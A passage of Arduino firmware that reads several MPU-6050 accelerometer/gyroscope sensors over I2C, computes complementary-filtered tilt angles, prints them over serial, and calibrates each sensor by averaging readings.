\/\/Accelerometer doesn't give z-angle\n \n \/\/ Update the saved data with the latest values\n set_last_read_angle_data(t_now, angle_x, angle_y, angle_z, unfiltered_gyro_angle_x, unfiltered_gyro_angle_y, unfiltered_gyro_angle_z, 1);\n \n \/\/ Send the data to the serial port\n \/* mySerial.print(F(\"DEL:\")); \/\/Delta T\n mySerial.print(dt, DEC);\n mySerial.print(F(\"#ACC:\")); \/\/Accelerometer angle\n mySerial.print(accel_angle_x, 2);\n mySerial.print(F(\",\"));\n mySerial.print(accel_angle_y, 2);\n mySerial.print(F(\",\"));\n mySerial.print(accel_angle_z, 2);\n mySerial.print(F(\"#GYR:\"));\n Serial.print(unfiltered_gyro_angle_x, 2); \/\/Gyroscope angle\n Serial.print(F(\",\"));\n Serial.print(unfiltered_gyro_angle_y, 2);\n Serial.print(F(\",\"));\n Serial.print(unfiltered_gyro_angle_z, 2);*\/\n mySerial.println(F(\"#\")); \/\/Filtered angle\n mySerial.print(angle_x, DEC);\n mySerial.println(F(\",\"));\n mySerial.print(angle_y, DEC);\n mySerial.println(F(\",\"));\n mySerial.print(angle_z, DEC);\n mySerial.println(F(\"\"));\n \n \/\/ Delay so we don't swamp the serial port\n \n \/\/ nDevices++;\n \n }\n else if (error==4)\n {\n Serial.print(F(\"Unknown error at address 0x\"));\n if (address<16)\n Serial.print(\"0\");\n Serial.println(address,HEX);\n } \n \n \n}\n\nvoid mpunumber3()\n{\n for(int j=6;j<=9;j++)\n {\n \n pinMode(j,OUTPUT);\n digitalWrite(j,LOW);\n \n } \n pinMode(12,OUTPUT);\n digitalWrite(12,LOW);\n pinMode(8,OUTPUT);\n digitalWrite(8,HIGH);\n byte error, address;\n address=105;\n Wire.beginTransmission(address);\n error = Wire.endTransmission();\n \n if (error == 0)\n {\n \/*Serial.print(\"MPU number : \");\n Serial.println(flag-5); \n Serial.print(F(\"I2C device found at address 0x\"));\n if (address<16)\n Serial.print(F(\"0\"));\n Serial.print(address,HEX);\n Serial.println(F(\" !\"));*\/\n \n int error;\n double dT;\n accel_t_gyro_union accel_t_gyro;\n \n error = read_gyro_accel_vals((uint8_t*) &accel_t_gyro);\n unsigned long t_now = millis();\n \/*Serial.println(F(\"\"));\n Serial.println(F(\"MPU-6050\"));*\/\n \n \/\/ Read the raw values.\n \/\/ Read 14 bytes at once,\n \/\/ containing acceleration, temperature and gyro.\n \/\/ With the default settings of the MPU-6050,\n \/\/ there is no filter enabled, and the values\n \/\/ are not very stable.\n \/\/error = MPU6050_read (MPU6050_ACCEL_XOUT_H, (uint8_t *) &accel_t_gyro, sizeof(accel_t_gyro));\n \/* Serial.print(F(\"Read accel, temp and gyro, error = \"));\n Serial.println(error,DEC);*\/\n \n \n \/\/ Swap all high and low bytes.\n \/\/ After this, the registers values are swapped,\n \/\/ so the structure name like x_accel_l does no\n \/\/ longer contain the lower byte.\n \/*uint8_t swap;\n #define SWAP(x,y) swap = x; x = y; y = swap\n \n SWAP (accel_t_gyro.reg.x_accel_h, accel_t_gyro.reg.x_accel_l);\n SWAP (accel_t_gyro.reg.y_accel_h, accel_t_gyro.reg.y_accel_l);\n SWAP (accel_t_gyro.reg.z_accel_h, accel_t_gyro.reg.z_accel_l);\n SWAP (accel_t_gyro.reg.x_gyro_h, accel_t_gyro.reg.x_gyro_l);\n SWAP (accel_t_gyro.reg.y_gyro_h, accel_t_gyro.reg.y_gyro_l);\n SWAP (accel_t_gyro.reg.z_gyro_h, accel_t_gyro.reg.z_gyro_l);*\/\n \n \n \/\/ Print the raw acceleration values\n \n \/\/ Serial.print(F(\"accel x,y,z: \"));\n \/*mySerial.println(\"The Accl X value from Thumb is : \");\n \/\/Serial.print(accel_t_gyro.value.x_accel, DEC);\n \/\/Serial.print(F(\", \"));\n mySerial.print(accel_t_gyro.value.x_accel);\n mySerial.print(\"\\n\");\n mySerial.println(\"The Accl Y value from Thumb is : \");\n\/\/Serial.print(accel_t_gyro.value.y_accel, DEC);\n mySerial.print(accel_t_gyro.value.y_accel);\n mySerial.print(\"\\n\");\n\n \/\/ Serial.print(F(\", \"));\n mySerial.println(\"The Accl Z value from Thumb is : \");\n\n \/\/Serial.print(accel_t_gyro.value.z_accel, DEC);\n mySerial.print(accel_t_gyro.value.z_accel);\n\n \/\/Serial.println(F(\"\"));\n mySerial.print(\"\\n\");*\/\n\n \n \n \/\/ The temperature sensor is -40 to +85 degrees Celsius.\n \/\/ It is a signed integer.\n \/\/ According to the datasheet:\n \/\/ 340 per degrees Celsius, -512 at 35 degrees.\n \/\/ At 0 degrees: -512 - (340 * 35) = -12412\n \n \/*Serial.print(F(\"temperature: \"));\n dT = ( (double) accel_t_gyro.value.temperature + 12412.0) \/ 340.0;\n Serial.print(dT, 3);\n Serial.print(F(\" degrees Celsius\"));\n Serial.println(F(\"\"));*\/\n \n \n \/\/ Print the raw gyro values.\n \n \/\/Serial.print(F(\"gyro x,y,z : \"));\n \/*mySerial.println(\"The Gyro X value from Thumb is : \");\n mySerial.print(accel_t_gyro.value.x_gyro);\n mySerial.print(\"\\n\");\n \/\/Serial.print(accel_t_gyro.value.x_gyro, DEC);\n \/\/Serial.print(F(\", \"));\n \/\/Serial.print(accel_t_gyro.value.y_gyro, DEC);\n mySerial.println(\"The Gyro Y value from Thumb is : \");\n mySerial.print(accel_t_gyro.value.y_gyro);\n mySerial.print(\"\\n\");\n\n \/\/Serial.print(F(\", \"));\n \/\/Serial.print(accel_t_gyro.value.z_gyro, DEC);\n mySerial.println(\"The Gyro Z value from Thumb is : \");\n mySerial.print(accel_t_gyro.value.z_gyro);\n mySerial.print(\"\\n\");*\/\n \/\/mySerial.println(\" angle values\");\n float FS_SEL = 131;\n \n float gyro_x = (accel_t_gyro.value.x_gyro - base_x_gyro[2])\/FS_SEL;\n float gyro_y = (accel_t_gyro.value.y_gyro - base_y_gyro[2])\/FS_SEL;\n float gyro_z = (accel_t_gyro.value.z_gyro - base_z_gyro[2])\/FS_SEL;\n \n \n \/\/ Get raw acceleration values\n \/\/float G_CONVERT = 16384;\n float accel_x = accel_t_gyro.value.x_accel;\n float accel_y = accel_t_gyro.value.y_accel;\n float accel_z = accel_t_gyro.value.z_accel;\n \n \/\/ Get angle values from accelerometer\n float RADIANS_TO_DEGREES = 180\/3.14159;\n\/\/ float accel_vector_length = sqrt(pow(accel_x,2) + pow(accel_y,2) + pow(accel_z,2));\n float accel_angle_y = atan(-1*accel_x\/sqrt(pow(accel_y,2) + pow(accel_z,2)))*RADIANS_TO_DEGREES;\n float accel_angle_x = atan(accel_y\/sqrt(pow(accel_x,2) + pow(accel_z,2)))*RADIANS_TO_DEGREES;\n\n float accel_angle_z = 0;\n \n \/\/ Compute the (filtered) gyro angles\n float dt =(t_now - get_last_time(2))\/1000.0;\n float gyro_angle_x = gyro_x*dt + get_last_x_angle(2);\n float gyro_angle_y = gyro_y*dt + get_last_y_angle(2);\n float gyro_angle_z = gyro_z*dt + get_last_z_angle(2);\n \n \/\/ Compute the drifting gyro angles\n float unfiltered_gyro_angle_x = gyro_x*dt + get_last_gyro_x_angle(2);\n float unfiltered_gyro_angle_y = gyro_y*dt + get_last_gyro_y_angle(2);\n float unfiltered_gyro_angle_z = gyro_z*dt + get_last_gyro_z_angle(2);\n \n \/\/ Apply the complementary filter to figure out the change in angle - choice of alpha is\n \/\/ estimated now. Alpha depends on the sampling rate...\n float alpha = 0.96;\n float angle_x = alpha*gyro_angle_x + (1.0 - alpha)*accel_angle_x;\n float angle_y = alpha*gyro_angle_y + (1.0 - alpha)*accel_angle_y;\n float angle_z = gyro_angle_z; \/\/Accelerometer doesn't give z-angle\n \n \/\/ Update the saved data with the latest values\n set_last_read_angle_data(t_now, angle_x, angle_y, angle_z, unfiltered_gyro_angle_x, unfiltered_gyro_angle_y, unfiltered_gyro_angle_z, 2);\n \n \/\/ Send the data to the serial port\n \/* mySerial.print(F(\"DEL:\")); \/\/Delta T\n mySerial.print(dt, DEC);\n mySerial.print(F(\"#ACC:\")); \/\/Accelerometer angle\n mySerial.print(accel_angle_x, 2);\n mySerial.print(F(\",\"));\n mySerial.print(accel_angle_y, 2);\n mySerial.print(F(\",\"));\n mySerial.print(accel_angle_z, 2);\n mySerial.print(F(\"#GYR:\"));\n Serial.print(unfiltered_gyro_angle_x, 2); \/\/Gyroscope angle\n Serial.print(F(\",\"));\n Serial.print(unfiltered_gyro_angle_y, 2);\n Serial.print(F(\",\"));\n Serial.print(unfiltered_gyro_angle_z, 2);*\/\n mySerial.println(F(\"$\")); \/\/Filtered angle\n mySerial.print(angle_x, DEC);\n mySerial.println(F(\",\"));\n mySerial.print(angle_y, DEC);\n mySerial.println(F(\",\"));\n mySerial.print(angle_z, DEC);\n mySerial.println(F(\"\"));\n \n \/\/ Delay so we don't swamp the serial port\n \n \/\/ nDevices++;\n \n }\n else if (error==4)\n {\n Serial.print(F(\"Unknown error at address 0x\"));\n if (address<16)\n Serial.print(\"0\");\n Serial.println(address,HEX);\n } \n \n \n}\n\nvoid mpunumber4()\n{\n for(int j=6;j<=8;j++)\n {\n \n pinMode(j,OUTPUT);\n digitalWrite(j,LOW);\n \n } \n pinMode(12,OUTPUT);\n digitalWrite(12,LOW);\n pinMode(9,OUTPUT);\n digitalWrite(9,HIGH);\n byte error, address;\n address=105;\n Wire.beginTransmission(address);\n error = Wire.endTransmission();\n \n if (error == 0)\n {\n \/*Serial.print(\"MPU number : \");\n Serial.println(flag-5); \n Serial.print(F(\"I2C device found at address 0x\"));\n if (address<16)\n Serial.print(F(\"0\"));\n Serial.print(address,HEX);\n Serial.println(F(\" !\"));*\/\n \n int error;\n double dT;\n accel_t_gyro_union accel_t_gyro;\n \n error = read_gyro_accel_vals((uint8_t*) &accel_t_gyro);\n unsigned long t_now = millis();\n \/*Serial.println(F(\"\"));\n Serial.println(F(\"MPU-6050\"));*\/\n \n \/\/ Read the raw values.\n \/\/ Read 14 bytes at once,\n \/\/ containing acceleration, temperature and gyro.\n \/\/ With the default settings of the MPU-6050,\n \/\/ there is no filter enabled, and the values\n \/\/ are not very stable.\n \/\/error = MPU6050_read (MPU6050_ACCEL_XOUT_H, (uint8_t *) &accel_t_gyro, sizeof(accel_t_gyro));\n \/* Serial.print(F(\"Read accel, temp and gyro, error = \"));\n Serial.println(error,DEC);*\/\n \n \n \/\/ Swap all high and low bytes.\n \/\/ After this, the registers values are swapped,\n \/\/ so the structure name like x_accel_l does no\n \/\/ longer contain the lower byte.\n \/*uint8_t swap;\n #define SWAP(x,y) swap = x; x = y; y = swap\n \n SWAP (accel_t_gyro.reg.x_accel_h, accel_t_gyro.reg.x_accel_l);\n SWAP (accel_t_gyro.reg.y_accel_h, accel_t_gyro.reg.y_accel_l);\n SWAP (accel_t_gyro.reg.z_accel_h, accel_t_gyro.reg.z_accel_l);\n SWAP (accel_t_gyro.reg.x_gyro_h, accel_t_gyro.reg.x_gyro_l);\n SWAP (accel_t_gyro.reg.y_gyro_h, accel_t_gyro.reg.y_gyro_l);\n SWAP (accel_t_gyro.reg.z_gyro_h, accel_t_gyro.reg.z_gyro_l);*\/\n \n \n \/\/ Print the raw acceleration values\n \n \/\/ Serial.print(F(\"accel x,y,z: \"));\n \/*mySerial.println(\"The Accl X value from Thumb is : \");\n \/\/Serial.print(accel_t_gyro.value.x_accel, DEC);\n \/\/Serial.print(F(\", \"));\n mySerial.print(accel_t_gyro.value.x_accel);\n mySerial.print(\"\\n\");\n mySerial.println(\"The Accl Y value from Thumb is : \");\n\/\/Serial.print(accel_t_gyro.value.y_accel, DEC);\n mySerial.print(accel_t_gyro.value.y_accel);\n mySerial.print(\"\\n\");\n\n \/\/ Serial.print(F(\", \"));\n mySerial.println(\"The Accl Z value from Thumb is : \");\n\n \/\/Serial.print(accel_t_gyro.value.z_accel, DEC);\n mySerial.print(accel_t_gyro.value.z_accel);\n\n \/\/Serial.println(F(\"\"));\n mySerial.print(\"\\n\");*\/\n\n \n \n \/\/ The temperature sensor is -40 to +85 degrees Celsius.\n \/\/ It is a signed integer.\n \/\/ According to the datasheet:\n \/\/ 340 per degrees Celsius, -512 at 35 degrees.\n \/\/ At 0 degrees: -512 - (340 * 35) = -12412\n \n \/*Serial.print(F(\"temperature: \"));\n dT = ( (double) accel_t_gyro.value.temperature + 12412.0) \/ 340.0;\n Serial.print(dT, 3);\n Serial.print(F(\" degrees Celsius\"));\n Serial.println(F(\"\"));*\/\n \n \n \/\/ Print the raw gyro values.\n \n \/\/Serial.print(F(\"gyro x,y,z : \"));\n \/*mySerial.println(\"The Gyro X value from Thumb is : \");\n mySerial.print(accel_t_gyro.value.x_gyro);\n mySerial.print(\"\\n\");\n \/\/Serial.print(accel_t_gyro.value.x_gyro, DEC);\n \/\/Serial.print(F(\", \"));\n \/\/Serial.print(accel_t_gyro.value.y_gyro, DEC);\n mySerial.println(\"The Gyro Y value from Thumb is : \");\n mySerial.print(accel_t_gyro.value.y_gyro);\n mySerial.print(\"\\n\");\n\n \/\/Serial.print(F(\", \"));\n \/\/Serial.print(accel_t_gyro.value.z_gyro, DEC);\n mySerial.println(\"The Gyro Z value from Thumb is : \");\n mySerial.print(accel_t_gyro.value.z_gyro);\n mySerial.print(\"\\n\");*\/\n \/\/mySerial.println(\"Thumb angle values\");\n float FS_SEL = 131;\n \n float gyro_x = (accel_t_gyro.value.x_gyro - base_x_gyro[3])\/FS_SEL;\n float gyro_y = (accel_t_gyro.value.y_gyro - base_y_gyro[3])\/FS_SEL;\n float gyro_z = (accel_t_gyro.value.z_gyro - base_z_gyro[3])\/FS_SEL;\n \n \n \/\/ Get raw acceleration values\n \/\/float G_CONVERT = 16384;\n float accel_x = accel_t_gyro.value.x_accel;\n float accel_y = accel_t_gyro.value.y_accel;\n float accel_z = accel_t_gyro.value.z_accel;\n \n \/\/ Get angle values from accelerometer\n float RADIANS_TO_DEGREES = 180\/3.14159;\n\/\/ float accel_vector_length = sqrt(pow(accel_x,2) + pow(accel_y,2) + pow(accel_z,2));\n float accel_angle_y = atan(-1*accel_x\/sqrt(pow(accel_y,2) + pow(accel_z,2)))*RADIANS_TO_DEGREES;\n float accel_angle_x = atan(accel_y\/sqrt(pow(accel_x,2) + pow(accel_z,2)))*RADIANS_TO_DEGREES;\n\n float accel_angle_z = 0;\n \n \/\/ Compute the (filtered) gyro angles\n float dt =(t_now - get_last_time(3))\/1000.0;\n float gyro_angle_x = gyro_x*dt + get_last_x_angle(3);\n float gyro_angle_y = gyro_y*dt + get_last_y_angle(3);\n float gyro_angle_z = gyro_z*dt + get_last_z_angle(3);\n \n \/\/ Compute the drifting gyro angles\n float unfiltered_gyro_angle_x = gyro_x*dt + get_last_gyro_x_angle(3);\n float unfiltered_gyro_angle_y = gyro_y*dt + get_last_gyro_y_angle(3);\n float unfiltered_gyro_angle_z = gyro_z*dt + get_last_gyro_z_angle(3);\n \n \/\/ Apply the complementary filter to figure out the change in angle - choice of alpha is\n \/\/ estimated now. Alpha depends on the sampling rate...\n float alpha = 0.96;\n float angle_x = alpha*gyro_angle_x + (1.0 - alpha)*accel_angle_x;\n float angle_y = alpha*gyro_angle_y + (1.0 - alpha)*accel_angle_y;\n float angle_z = gyro_angle_z; \/\/Accelerometer doesn't give z-angle\n\n \n \/\/ Update the saved data with the latest values\n set_last_read_angle_data(t_now, angle_x, angle_y, angle_z, unfiltered_gyro_angle_x, unfiltered_gyro_angle_y, unfiltered_gyro_angle_z, 3);\n \n \/\/ Send the data to the serial port\n \/* mySerial.print(F(\"DEL:\")); \/\/Delta T\n mySerial.print(dt, DEC);\n mySerial.print(F(\"#ACC:\")); \/\/Accelerometer angle\n mySerial.print(accel_angle_x, 2);\n mySerial.print(F(\",\"));\n mySerial.print(accel_angle_y, 2);\n mySerial.print(F(\",\"));\n mySerial.print(accel_angle_z, 2);\n mySerial.print(F(\"#GYR:\"));\n Serial.print(unfiltered_gyro_angle_x, 2); \/\/Gyroscope angle\n Serial.print(F(\",\"));\n Serial.print(unfiltered_gyro_angle_y, 2);\n Serial.print(F(\",\"));\n Serial.print(unfiltered_gyro_angle_z, 2);*\/\n mySerial.println(F(\"% \")); \/\/Filtered angle\n mySerial.print(angle_x, DEC);\n mySerial.println(F(\",\"));\n mySerial.print(angle_y, DEC);\n mySerial.println(F(\",\"));\n mySerial.print(angle_z, DEC);\n mySerial.println(F(\"\"));\n \n \/\/ Delay so we don't swamp the serial port\n \n \/\/ nDevices++;\n \n }\n else if (error==4)\n {\n Serial.print(F(\"Unknown error at address 0x\"));\n if (address<16)\n Serial.print(\"0\");\n Serial.println(address,HEX);\n } \n \n \n}\n\nvoid mpunumber5()\n{\n for(int j=6;j<=9;j++)\n {\n \n pinMode(j,OUTPUT);\n digitalWrite(j,LOW);\n \n } \n \/\/pinMode(12,OUTPUT);\n \/\/digitalWrite(12,LOW);\n pinMode(12,OUTPUT);\n digitalWrite(12,HIGH);\n byte error, address;\n address=105;\n Wire.beginTransmission(address);\n error = Wire.endTransmission();\n \n if (error == 0)\n {\n \/*Serial.print(\"MPU number : \");\n Serial.println(flag-5); \n Serial.print(F(\"I2C device found at address 0x\"));\n if (address<16)\n Serial.print(F(\"0\"));\n Serial.print(address,HEX);\n Serial.println(F(\" !\"));*\/\n \n int error;\n double dT;\n accel_t_gyro_union accel_t_gyro;\n \n error = read_gyro_accel_vals((uint8_t*) &accel_t_gyro);\n unsigned long t_now = millis();\n \/*Serial.println(F(\"\"));\n Serial.println(F(\"MPU-6050\"));*\/\n \n \/\/ Read the raw values.\n \/\/ Read 14 bytes at once,\n \/\/ containing acceleration, temperature and gyro.\n \/\/ With the default settings of the MPU-6050,\n \/\/ there is no filter enabled, and the values\n \/\/ are not very stable.\n \/\/error = MPU6050_read (MPU6050_ACCEL_XOUT_H, (uint8_t *) &accel_t_gyro, sizeof(accel_t_gyro));\n \/* Serial.print(F(\"Read accel, temp and gyro, error = \"));\n Serial.println(error,DEC);*\/\n \n \n \/\/ Swap all high and low bytes.\n \/\/ After this, the registers values are swapped,\n \/\/ so the structure name like x_accel_l does no\n \/\/ longer contain the lower byte.\n \/*uint8_t swap;\n #define SWAP(x,y) swap = x; x = y; y = swap\n \n SWAP (accel_t_gyro.reg.x_accel_h, accel_t_gyro.reg.x_accel_l);\n SWAP (accel_t_gyro.reg.y_accel_h, accel_t_gyro.reg.y_accel_l);\n SWAP (accel_t_gyro.reg.z_accel_h, accel_t_gyro.reg.z_accel_l);\n SWAP (accel_t_gyro.reg.x_gyro_h, accel_t_gyro.reg.x_gyro_l);\n SWAP (accel_t_gyro.reg.y_gyro_h, accel_t_gyro.reg.y_gyro_l);\n SWAP (accel_t_gyro.reg.z_gyro_h, accel_t_gyro.reg.z_gyro_l);*\/\n \n \n \/\/ Print the raw acceleration values\n \n \/\/ Serial.print(F(\"accel x,y,z: \"));\n \/*mySerial.println(\"The Accl X value from Thumb is : \");\n \/\/Serial.print(accel_t_gyro.value.x_accel, DEC);\n \/\/Serial.print(F(\", \"));\n mySerial.print(accel_t_gyro.value.x_accel);\n mySerial.print(\"\\n\");\n mySerial.println(\"The Accl Y value from Thumb is : \");\n\/\/Serial.print(accel_t_gyro.value.y_accel, DEC);\n mySerial.print(accel_t_gyro.value.y_accel);\n mySerial.print(\"\\n\");\n\n \/\/ Serial.print(F(\", \"));\n mySerial.println(\"The Accl Z value from Thumb is : \");\n\n \/\/Serial.print(accel_t_gyro.value.z_accel, DEC);\n mySerial.print(accel_t_gyro.value.z_accel);\n\n \/\/Serial.println(F(\"\"));\n mySerial.print(\"\\n\");*\/\n\n \n \n \/\/ The temperature sensor is -40 to +85 degrees Celsius.\n \/\/ It is a signed integer.\n \/\/ According to the datasheet:\n \/\/ 340 per degrees Celsius, -512 at 35 degrees.\n \/\/ At 0 degrees: -512 - (340 * 35) = -12412\n \n \/*Serial.print(F(\"temperature: \"));\n dT = ( (double) accel_t_gyro.value.temperature + 12412.0) \/ 340.0;\n Serial.print(dT, 3);\n Serial.print(F(\" degrees Celsius\"));\n Serial.println(F(\"\"));*\/\n \n \n \/\/ Print the raw gyro values.\n \n \/\/Serial.print(F(\"gyro x,y,z : \"));\n \/*mySerial.println(\"The Gyro X value from Thumb is : \");\n mySerial.print(accel_t_gyro.value.x_gyro);\n mySerial.print(\"\\n\");\n \/\/Serial.print(accel_t_gyro.value.x_gyro, DEC);\n \/\/Serial.print(F(\", \"));\n \/\/Serial.print(accel_t_gyro.value.y_gyro, DEC);\n mySerial.println(\"The Gyro Y value from Thumb is : \");\n mySerial.print(accel_t_gyro.value.y_gyro);\n mySerial.print(\"\\n\");\n\n \/\/Serial.print(F(\", \"));\n \/\/Serial.print(accel_t_gyro.value.z_gyro, DEC);\n mySerial.println(\"The Gyro Z value from Thumb is : \");\n mySerial.print(accel_t_gyro.value.z_gyro);\n mySerial.print(\"\\n\");*\/\n \/\/mySerial.println(\"Thumb angle values\");\n float FS_SEL = 131;\n \n float gyro_x = (accel_t_gyro.value.x_gyro - base_x_gyro[4])\/FS_SEL;\n float gyro_y = (accel_t_gyro.value.y_gyro - base_y_gyro[4])\/FS_SEL;\n float gyro_z = (accel_t_gyro.value.z_gyro - base_z_gyro[4])\/FS_SEL;\n \n \n \/\/ Get raw acceleration values\n \/\/float G_CONVERT = 16384;\n float accel_x = accel_t_gyro.value.x_accel;\n float accel_y = accel_t_gyro.value.y_accel;\n float accel_z = accel_t_gyro.value.z_accel;\n \n \/\/ Get angle values from accelerometer\n float RADIANS_TO_DEGREES = 180\/3.14159;\n\/\/ float accel_vector_length = sqrt(pow(accel_x,2) + pow(accel_y,2) + pow(accel_z,2));\n float accel_angle_y = atan(-1*accel_x\/sqrt(pow(accel_y,2) + pow(accel_z,2)))*RADIANS_TO_DEGREES;\n float accel_angle_x = atan(accel_y\/sqrt(pow(accel_x,2) + pow(accel_z,2)))*RADIANS_TO_DEGREES;\n\n float accel_angle_z = 0;\n \n \/\/ Compute the (filtered) gyro angles\n float dt =(t_now - get_last_time(4))\/1000.0;\n float gyro_angle_x = gyro_x*dt + get_last_x_angle(4);\n float gyro_angle_y = gyro_y*dt + get_last_y_angle(4);\n float gyro_angle_z = gyro_z*dt + get_last_z_angle(4);\n \n \/\/ Compute the drifting gyro angles\n float unfiltered_gyro_angle_x = gyro_x*dt + get_last_gyro_x_angle(4);\n float unfiltered_gyro_angle_y = gyro_y*dt + get_last_gyro_y_angle(4);\n float unfiltered_gyro_angle_z = gyro_z*dt + get_last_gyro_z_angle(4);\n \n \/\/ Apply the complementary filter to figure out the change in angle - choice of alpha is\n \/\/ estimated now. Alpha depends on the sampling rate...\n float alpha = 0.96;\n float angle_x = alpha*gyro_angle_x + (1.0 - alpha)*accel_angle_x;\n float angle_y = alpha*gyro_angle_y + (1.0 - alpha)*accel_angle_y;\n float angle_z = gyro_angle_z; \/\/Accelerometer doesn't give z-angle\n \n \/\/ Update the saved data with the latest values\n set_last_read_angle_data(t_now, angle_x, angle_y, angle_z, unfiltered_gyro_angle_x, unfiltered_gyro_angle_y, unfiltered_gyro_angle_z, 4);\n \n \/\/ Send the data to the serial port\n \/* mySerial.print(F(\"DEL:\")); \/\/Delta T\n mySerial.print(dt, DEC);\n mySerial.print(F(\"#ACC:\")); \/\/Accelerometer angle\n mySerial.print(accel_angle_x, 2);\n mySerial.print(F(\",\"));\n mySerial.print(accel_angle_y, 2);\n mySerial.print(F(\",\"));\n mySerial.print(accel_angle_z, 2);\n mySerial.print(F(\"#GYR:\"));\n Serial.print(unfiltered_gyro_angle_x, 2); \/\/Gyroscope angle\n Serial.print(F(\",\"));\n Serial.print(unfiltered_gyro_angle_y, 2);\n Serial.print(F(\",\"));\n Serial.print(unfiltered_gyro_angle_z, 2);*\/\n mySerial.println(F(\"^\")); \/\/Filtered angle\n mySerial.print(angle_x, DEC);\n mySerial.println(F(\",\"));\n mySerial.print(angle_y, DEC);\n mySerial.println(F(\",\"));\n mySerial.print(angle_z, DEC);\n mySerial.println(F(\"\"));\n \n \/\/ Delay so we don't swamp the serial port\n \n \/\/ nDevices++;\n \n }\n else if (error==4)\n {\n Serial.print(F(\"Unknown error at address 0x\"));\n if (address<16)\n Serial.print(\"0\");\n Serial.println(address,HEX);\n } \n \n\n \n}\n\n\nvoid calibrate_sensor1()\n{\n int num_readings = 10;\n float x_accel = 0;\n float y_accel = 0;\n float z_accel = 0;\n float x_gyro = 0;\n float y_gyro = 0;\n float z_gyro = 0;\n accel_t_gyro_union accel_t_gyro;\n\nfor(int j=7;j<=9;j++)\n {\n \n pinMode(j,OUTPUT);\n digitalWrite(j,LOW);\n \n } \n pinMode(12,OUTPUT);\n digitalWrite(12,LOW);\n pinMode(6,OUTPUT);\n digitalWrite(6,HIGH);\n \/\/Serial.println(\"Starting Calibration\");\n\n \/\/ Discard the first set of values read from the IMU\n read_gyro_accel_vals((uint8_t *) &accel_t_gyro);\n \n \/\/ Read and average the raw values from the IMU\n for (int i = 0; i < num_readings; i++) {\n read_gyro_accel_vals((uint8_t *) &accel_t_gyro);\n x_accel += accel_t_gyro.value.x_accel;\n y_accel += accel_t_gyro.value.y_accel;\n z_accel += accel_t_gyro.value.z_accel;\n x_gyro += accel_t_gyro.value.x_gyro;\n y_gyro += accel_t_gyro.value.y_gyro;\n z_gyro += accel_t_gyro.value.z_gyro;\n delay(100);\n }\n x_accel \/= num_readings;\n y_accel \/= num_readings;\n z_accel \/= num_readings;\n x_gyro \/= num_readings;\n y_gyro \/= num_readings;\n z_gyro \/= num_readings;\n \n \/\/ Store the raw calibration values globally\n base_x_accel[0] = x_accel;\n base_y_accel[0] = y_accel;\n base_z_accel[0] = z_accel;\n base_x_gyro[0] = x_gyro;\n base_y_gyro[0] = y_gyro;\n base_z_gyro[0] = z_gyro;\n\n \n\n}\nvoid calibrate_sensor2()\n{\n int num_readings = 10;\n float x_accel = 0;\n float y_accel = 0;\n float z_accel = 0;\n float x_gyro = 0;\n float y_gyro = 0;\n float z_gyro = 0;\n accel_t_gyro_union accel_t_gyro;\n\nfor(int j=6;j<=9;j++)\n {\n \n pinMode(j,OUTPUT);\n digitalWrite(j,LOW);\n \n } \n pinMode(12,OUTPUT);\n digitalWrite(12,LOW);\n pinMode(7,OUTPUT);\n digitalWrite(7,HIGH);\n \/\/Serial.println(\"Starting Calibration\");\n\n \/\/ Discard the first set of values read from the IMU\n read_gyro_accel_vals((uint8_t *) &accel_t_gyro);\n \n \/\/ Read and average the raw values from the IMU\n for (int i = 0; i < num_readings; i++) {\n read_gyro_accel_vals((uint8_t *) &accel_t_gyro);\n x_accel += accel_t_gyro.value.x_accel;\n y_accel += accel_t_gyro.value.y_accel;\n z_accel += accel_t_gyro.value.z_accel;\n x_gyro += accel_t_gyro.value.x_gyro;\n y_gyro += accel_t_gyro.value.y_gyro;\n z_gyro += accel_t_gyro.value.z_gyro;\n delay(100);\n }\n x_accel \/= num_readings;\n y_accel \/= num_readings;\n z_accel \/= num_readings;\n x_gyro \/= num_readings;\n y_gyro \/= num_readings;\n z_gyro \/= num_readings;\n \n \/\/ Store the raw calibration values globally\n base_x_accel[1] = x_accel;\n base_y_accel[1] = y_accel;\n base_z_accel[1] = z_accel;\n base_x_gyro[1] = x_gyro;\n base_y_gyro[1] = y_gyro;\n base_z_gyro[1] = z_gyro;\n}\nvoid calibrate_sensor3()\n{\n int num_readings = 10;\n float x_accel = 0;\n float y_accel = 0;\n float z_accel = 0;\n float x_gyro = 0;\n float y_gyro = 0;\n float z_gyro = 0;\n accel_t_gyro_union accel_t_gyro;\n\nfor(int j=6;j<=9;j++)\n {\n \n pinMode(j,OUTPUT);\n digitalWrite(j,LOW);\n \n } \n pinMode(12,OUTPUT);\n digitalWrite(12,LOW);\n pinMode(8,OUTPUT);\n digitalWrite(8,HIGH);\n \/\/Serial.println(\"Starting Calibration\");\n\n \/\/ Discard the first set of values read from the IMU\n read_gyro_accel_vals((uint8_t *) &accel_t_gyro);\n \n \/\/ Read and average the raw values from the IMU\n for (int i = 0; i < num_readings; i++) {\n read_gyro_accel_vals((uint8_t *) &accel_t_gyro);\n x_accel += accel_t_gyro.value.x_accel;\n y_accel += accel_t_gyro.value.y_accel;\n z_accel += accel_t_gyro.value.z_accel;\n x_gyro += accel_t_gyro.value.x_gyro;\n y_gyro += accel_t_gyro.value.y_gyro;\n z_gyro += accel_t_gyro.value.z_gyro;\n delay(100);\n }\n x_accel \/= num_readings;\n y_accel \/= num_readings;\n z_accel \/= num_readings;\n x_gyro \/= num_readings;\n y_gyro \/= num_readings;\n z_gyro \/= num_readings;\n \n \/\/ Store the raw calibration values globally\n base_x_accel[2] = x_accel;\n base_y_accel[2] = y_accel;\n base_z_accel[2] = z_accel;\n base_x_gyro[2] = x_gyro;\n base_y_gyro[2] = y_gyro;\n base_z_gyro[2] = z_gyro;\n}\nvoid calibrate_sensor4()\n{\n int num_readings = 10;\n float x_accel = 0;\n float y_accel = 0;\n float z_accel = 0;\n float x_gyro = 0;\n float y_gyro = 0;\n float z_gyro = 0;\n accel_t_gyro_union accel_t_gyro;\n\nfor(int j=6;j<=9;j++)\n {\n \n pinMode(j,OUTPUT);\n digitalWrite(j,LOW);\n \n } \n pinMode(12,OUTPUT);\n digitalWrite(12,LOW);\n pinMode(9,OUTPUT);\n digitalWrite(9,HIGH);\n \/\/Serial.println(\"Starting Calibration\");\n\n \/\/ Discard the first set of values read from the IMU\n read_gyro_accel_vals((uint8_t *) &accel_t_gyro);\n \n \/\/ Read and average the raw values from the IMU\n for (int i = 0; i < num_readings; i++) {\n read_gyro_accel_vals((uint8_t *) &accel_t_gyro);\n x_accel += accel_t_gyro.value.x_accel;\n y_accel += accel_t_gyro.value.y_accel;\n z_accel += accel_t_gyro.value.z_accel;\n x_gyro += 